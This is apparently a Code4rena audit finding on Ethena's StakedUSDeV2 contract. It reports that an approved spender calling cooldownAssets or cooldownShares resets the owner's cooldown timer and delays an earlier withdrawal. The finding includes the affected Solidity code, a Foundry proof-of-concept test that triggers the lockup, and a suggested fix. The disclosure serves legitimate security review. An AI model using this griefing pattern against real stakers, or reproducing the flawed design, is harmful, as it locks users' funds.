c4-submissions commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L95 https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L111

Vulnerability details

Impact

StakedUSDeV2 is erc4262 and as thus it can allow for owners of shares to approve other addresses to spend/withdraw on their behalf. An approved address or owner address can can call the functions cooldownShares() and cooldownAssets() on behalf of the owner to begin the cooldown process.

In a case whereby alice is owner of 100 tokens. alice approves 40 tokens for bob to spend. Alice then calls cooldownShares() or cooldownAssets() to cooldown 60 of her tokens, cooldowns[owner].coolDownEnd is set in storage to 90 DAYS and alice is left with 40 tokens. In 89 days, Bob realizes he's got approval from Alice and he calls cooldownShares() or cooldownAssets() on behalf of alice to cool down 40 token shares. Bob will reset the cooldowns[owner].coolDownEnd value to be +90 days on the 89th day. Alice calls unstake() on the 90th day but alice will fail and alice will not be able to to collect the 60 tokens she had cooled down her self 90 days ago. She will have to wait for 89 more days because of the action of Bol on the 89th day. This means alice had her cooldown period for her withdrawal of 60 tokens exetended for more than the MAX_COOLDOWN_DURATION (90 days).

Withdrawal actions by alice should not be affected by bob since the actions were done at different times.

Proof of Concept

in the snippet below, the functions cooldownShares() or cooldownAssets() call _withdraw which is an erc4262 function that allows for the caller to be the owner or for the caller to have been approved to spend an amount of tokens by the owner.

/// @notice redeem assets and starts a cooldown to claim the converted underlying asset
/// @param assets assets to redeem
/// @param owner address to redeem and start cooldown, owner must allowed caller to perform this action
function cooldownAssets(uint256 assets, address owner) external ensureCooldownOn returns (uint256) {
if (assets > maxWithdraw(owner)) revert ExcessiveWithdrawAmount();

uint256 shares = previewWithdraw(assets);

cooldowns[owner].cooldownEnd = uint104(block.timestamp) + cooldownDuration;
cooldowns[owner].underlyingAmount += assets;

_withdraw(_msgSender(), address(silo), owner, assets, shares);

return shares;
}

/// @notice redeem shares into assets and starts a cooldown to claim the converted underlying asset
/// @param shares shares to redeem
/// @param owner address to redeem and start cooldown, owner must allowed caller to perform this action
function cooldownShares(uint256 shares, address owner) external ensureCooldownOn returns (uint256) {
if (shares > maxRedeem(owner)) revert ExcessiveRedeemAmount();

uint256 assets = previewRedeem(shares);

cooldowns[owner].cooldownEnd = uint104(block.timestamp) + cooldownDuration;
cooldowns[owner].underlyingAmount += assets;

_withdraw(_msgSender(), address(silo), owner, assets, shares);

return assets;
}

alice approves Bob for 40 tokens.
Bob doesnt go ahead to call cooldownShares() or cooldownAssets() immediately,
Alice tries to coolDown 60 tokens from her balance and calls cooldownShares() or cooldownAssets(). Call is sucessful and cooldowns[owner].cooldownEnd is updated to be 90 days from now. Note that by default, cooldownDuration is set to be 90 days in constructor. so cooldownDuration is 90 days except changed.
in 89 days Bob decides to call cooldownShares() or cooldownAssets() to spend the 40 tokens Alice gave him approval for. Call to cooldownShares() or cooldownAssets() is sucessful and cooldowns[owner].cooldownEnd is updated again to be current timestamp + 90 days.
time gets to the 90th day and Alice wants to take her cooled down assets since she was told it will take 90 days to cool down. Alice calls unstake() but cant withdraw from silo to her address because Bob's action on the 89th day has affected cooldowns[owner].cooldownEnd value she set when she decided to coolDown 60 tokens. Now alice funds are unfairly stuck for 89 more days because the cooldowns[owner] mapping tracks values per owner address only and not by owner address and per withdrawal action. Unstake() reverts since block.timestamp is not greater than or equal the cooldowns[owner].cooldownEnd

  function unstake(address receiver) external {
    UserCooldown storage userCooldown = cooldowns[msg.sender];
    uint256 assets = userCooldown.underlyingAmount;

    if (block.timestamp >= userCooldown.cooldownEnd) {
      userCooldown.cooldownEnd = 0;
      userCooldown.underlyingAmount = 0;

      silo.withdraw(receiver, assets);
    } else {
      revert InvalidCooldown();
    }
  }

here is a coded POC illustrating this issue :

run with forge test --mt test_UnstakeUnallowed

// SPDX-License-Identifier: MIT
pragma solidity >=0.8;

/* solhint-disable private-vars-leading-underscore  */
/* solhint-disable var-name-mixedcase  */
/* solhint-disable func-name-mixedcase  */

import "forge-std/console.sol";
import "forge-std/Test.sol";
import {SigUtils} from "forge-std/SigUtils.sol";

import "../../../contracts/USDe.sol";
import "../../../contracts/StakedUSDeV2.sol";
import "../../../contracts/interfaces/IUSDe.sol";
import "../../../contracts/interfaces/IERC20Events.sol";

contract StakedUSDeV2CooldownTest is Test, IERC20Events {
  USDe public usdeToken;
  StakedUSDeV2 public stakedUSDeV2;
  SigUtils public sigUtilsUSDe;
  SigUtils public sigUtilsStakedUSDe;
  uint256 public _amount = 100 ether;

  address public owner;
  address public alice;
  address public bob;
  address public greg;

  bytes32 SOFT_RESTRICTED_STAKER_ROLE;
  bytes32 FULL_RESTRICTED_STAKER_ROLE;
  bytes32 DEFAULT_ADMIN_ROLE;
  bytes32 BLACKLIST_MANAGER_ROLE;
  bytes32 REWARDER_ROLE;

  event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares);
  event Withdraw(
    address indexed caller, address indexed receiver, address indexed owner, uint256 assets, uint256 shares
  );
  event LockedAmountRedistributed(address indexed from, address indexed to, uint256 amountToDistribute);

  function setUp() public virtual {
    usdeToken = new USDe(address(this));

    alice = makeAddr("alice");
    bob = makeAddr("bob");
    greg = makeAddr("greg");
    owner = makeAddr("owner");

    usdeToken.setMinter(address(this));

    vm.startPrank(owner);
    stakedUSDeV2 = new StakedUSDeV2(IUSDe(address(usdeToken)), makeAddr('rewarder'), owner);
    vm.stopPrank();

    FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE");
    SOFT_RESTRICTED_STAKER_ROLE = keccak256("SOFT_RESTRICTED_STAKER_ROLE");
    DEFAULT_ADMIN_ROLE = 0x00;
    BLACKLIST_MANAGER_ROLE = keccak256("BLACKLIST_MANAGER_ROLE");
    REWARDER_ROLE = keccak256("REWARDER_ROLE");
  }

  function test_UnstakeUnallowed () public {
    address staker = address(20);
    uint usdeTokenAmountToMint = 10000*1e18;

    usdeToken.mint(staker, usdeTokenAmountToMint);

    //at the deposit coolDownDuration is set to 90 days 
    assertEq(stakedUSDeV2.cooldownDuration(), 90 days);

    vm.startPrank(staker);
    //make first deposit
    usdeToken.approve(address(stakedUSDeV2), usdeTokenAmountToMint);
    stakedUSDeV2.deposit(usdeTokenAmountToMint, staker);

    //enter cool down for withdrawal of first deposit  in next block 
    vm.roll(block.number + 1);
    uint assetsForFirstWithdrawal  = stakedUSDeV2.maxWithdraw(staker);
    stakedUSDeV2.cooldownAssets(assetsForFirstWithdrawal / 2 , staker);
    (uint coolDownEndofFirstWithdrawal, ) = stakedUSDeV2.cooldowns(staker);

    //approve another address to spend some of staker stakedUSDeV2 tokens 
    address otherCaller = address(25);
    stakedUSDeV2.approve(otherCaller, assetsForFirstWithdrawal / 2 );
    vm.stopPrank();

    //second call to cooldownAssets is done by the approved otherCaller address  at different block and different timestmap
    //otherCaller initiates another withdrawal process for the staker. 
    vm.roll(block.number + 10_000);
    vm.warp(block.timestamp + 89 days); // timestamp is very close to coolDown end of first withdrawal made by the staker
    vm.startPrank(otherCaller);
    stakedUSDeV2.cooldownAssets(assetsForFirstWithdrawal / 2 , staker);
    (uint coolDownEndofSecondWithdrawal, ) = stakedUSDeV2.cooldowns(staker);
    vm.stopPrank();

    /** now on day 91 after the seond deposit, staker tries to unstake his first deposit
    since he had put in a withdrawal request action +90 days ago **/
    vm.roll(block.number + 2_000);
    vm.warp(block.timestamp + 2 days);
    vm.expectRevert(IStakedUSDeCooldown.InvalidCooldown.selector);
    //we expect a revert because the otherCaller had indelibrately increased the cooldownEnd time for the stakers first withdrawal
    //when he tried to cooldown the aproved amount of tokens for staker
    vm.startPrank(staker);
    stakedUSDeV2.unstake(staker);

    vm.stopPrank();

    //assert that the coolDown for staker had indeed increased since first withdrawal initiated by call to cooldownAssets()
    //thus preventing the first withdrawal from being removed from silo even though that amount of tokens had spent +90 days there.  
    assertGt(coolDownEndofSecondWithdrawal, coolDownEndofFirstWithdrawal);
  }
}

Tools Used

manual review, foundry

Recommended Mitigation Steps

change cooldowns to become a double mapping of owner and id of withdrawal action. This way every withdrawal action will be unique and will have different coolDownEnd times. And actions by alice and bob wont have the same coolDown times since the actions were done at different times.